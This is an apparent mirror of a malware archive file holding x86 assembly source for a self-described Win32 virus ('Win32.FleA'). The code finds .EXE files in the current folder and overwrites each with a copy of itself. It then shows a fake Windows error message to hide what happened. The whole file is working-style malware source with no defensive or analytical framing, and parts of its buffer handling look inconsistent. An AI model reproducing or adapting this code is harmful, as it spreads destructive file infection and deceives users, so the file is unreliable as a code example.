mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
82 lines
1.3 KiB
NASM
82 lines
1.3 KiB
NASM
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.386
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.model flat
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jumps
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extrn GetCommandLineA:PROC
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extrn lstrcpyA:PROC
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extrn FindFirstFileA:PROC
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extrn CopyFileA:PROC
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extrn FindNextFileA:PROC
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extrn MessageBoxA:PROC
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extrn ExitProcess:PROC
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.data
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CopyRight db 'Win32.FleA Virus'
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db 'Version 1.0'
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db 'by -DiA- (c)02'
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db '[My 1st Win32 Virus!]'
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FakeError db 'Windows Error 300687',10,13
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db 'Can not locate the Entry Point!',0
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FileMask db '*.EXE',0
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Win32FindData dd 0,0,0,0,0,0,0,0,0,0,0
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WhatMake dd 200d dup (0)
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MakeThat dd 200d dup (0)
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ThisProg dd 200d dup (0)
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FindHandle dd 0
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.code
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start:
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call GetCommandLineA
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push eax
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push offset ThisProg
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call lstrcpyA
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GetPoint:
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cmp byte ptr [eax],'.'
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jz FoundPoint
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inc eax
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jmp GetPoint
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FoundPoint:
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add eax,4d
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mov byte ptr [eax],00
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push offset Win32FindData
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push offset FileMask
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call FindFirstFileA
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mov dword ptr [FindHandle],eax
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FindNext:
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cmp eax,-1
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je ErrorMsg
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or eax,eax
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jz ErrorMsg
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push offset WhatMake
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push offset MakeThat
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call lstrcpyA
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push 0
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push offset MakeThat
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push offset ThisProg+1
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call CopyFileA
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push offset Win32FindData
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push dword ptr [FindHandle]
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call FindNextFileA
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jmp FindNext
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ErrorMsg:
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push 16
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push offset ThisProg+1
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push offset FakeError
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push 0
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call MessageBoxA
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push 0
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call ExitProcess
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end start
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